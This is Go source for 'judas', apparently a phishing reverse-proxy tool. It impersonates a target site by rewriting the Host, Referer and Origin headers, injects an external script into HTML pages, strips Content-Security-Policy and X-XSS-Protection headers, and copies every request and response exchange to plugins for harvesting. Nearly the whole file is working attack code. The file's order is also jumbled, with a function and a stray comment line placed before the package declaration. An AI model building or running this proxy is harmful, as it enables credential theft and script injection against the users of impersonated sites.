func (p *ProxyServer) HandleRequests(w http.ResponseWriter, r *http.Request) {
	p.reverseProxy.ServeHTTP(w, r)
}
HandleRequests reverse proxies all traffic to the target server.
package judas
import (
	"bytes"
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/http/httputil"
	"net/url"
	"strings"
	"github.com/valyala/bytebufferpool"
)
type bufferPool struct {
	*bytebufferpool.ByteBuffer
}
func (b *bufferPool) Get() []byte {
	return b.Bytes()
}
func (b *bufferPool) Put(payload []byte) {
	b.Set(payload)
}
type phishingProxy struct {
	TargetURL     *url.URL
	JavascriptURL string
	Logger        *log.Logger
}
func (p *phishingProxy) Director(request *http.Request) {
	referer := request.Referer()
	if referer != "" {
		referer = strings.Replace(referer, request.Host, p.TargetURL.Host, 1)
		request.Header.Set("Referer", referer)
	}
	origin := request.Header.Get("Origin")
	if origin != "" {
		origin = strings.Replace(origin, request.Host, p.TargetURL.Host, 1)
		request.Header.Set("Origin", origin)
	}
	request.URL.Scheme = p.TargetURL.Scheme
	request.URL.Host = p.TargetURL.Host
	request.Host = p.TargetURL.Host
	if _, ok := request.Header["User-Agent"]; !ok {
		request.Header.Set("User-Agent", "")
	}
	request.Header.Del("Accept-Encoding")
	request.Header.Del("Content-Encoding")
}
func (p *phishingProxy) ModifyResponse(response *http.Response) error {
	err := p.modifyLocationHeader(response)
	if err != nil {
		return err
	}
	if p.JavascriptURL != "" {
		err = p.injectJavascript(response)
		if err != nil {
			return err
		}
	}
	response.Header.Del("Content-Security-Policy")
	response.Header.Del("X-XSS-Protection")
	return nil
}
func (p *phishingProxy) modifyLocationHeader(response *http.Response) error {
	location, err := response.Location()
	if err != nil {
		if err == http.ErrNoLocation {
			return nil
		}
		return err
	}
	location.Scheme = ""
	location.Host = ""
	response.Header.Set("Location", location.String())
	return nil
}
func (p *phishingProxy) injectJavascript(response *http.Response) error {
	if !strings.Contains(response.Header.Get("Content-Type"), "text/html"){
		return nil
	}
	html, _ := ioutil.ReadAll(response.Body)
	response.Body = ioutil.NopCloser(bytes.NewBuffer(html))
	if !bytes.Contains(html[:100], []byte("<html")){
		return nil
	}
	payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", p.JavascriptURL)
	html = append(html, payload...)
	response.Body = ioutil.NopCloser(bytes.NewBuffer(html))
	response.Header.Set("Content-Length",fmt.Sprint(len(html)))
	return nil
}
type InterceptingTransport struct {
	http.RoundTripper
	Plugins   *PluginBroker
	TargetURL *url.URL
}
func (t *InterceptingTransport) RoundTrip(req *http.Request) (*http.Response, error) {
	if t.Plugins != nil {
		err := t.Plugins.TransformRequest(req)
		if err != nil {
			return nil, err
		}
	}
	request := &Request{Request: req}
	clonedRequest, err := request.CloneBody(context.Background())
	if err != nil {
		return nil, err
	}
	resp, err := t.RoundTripper.RoundTrip(req)
	if err != nil {
		return nil, err
	}
	if t.Plugins == nil {
		return resp, nil
	}
	response := &Response{Response: resp}
	clonedResponse, err := response.CloneBody()
	if err != nil {
		return nil, err
	}
	httpExchange := &HTTPExchange{
		Request:  clonedRequest,
		Response: clonedResponse,
		Target:   t.TargetURL,
	}
	err = t.Plugins.SendResult(httpExchange)
	if err != nil {
		return nil, err
	}
	err = t.Plugins.TransformResponse(resp)
	return resp, err
}
type ProxyServer struct {
	reverseProxy *httputil.ReverseProxy
	logger       *log.Logger
}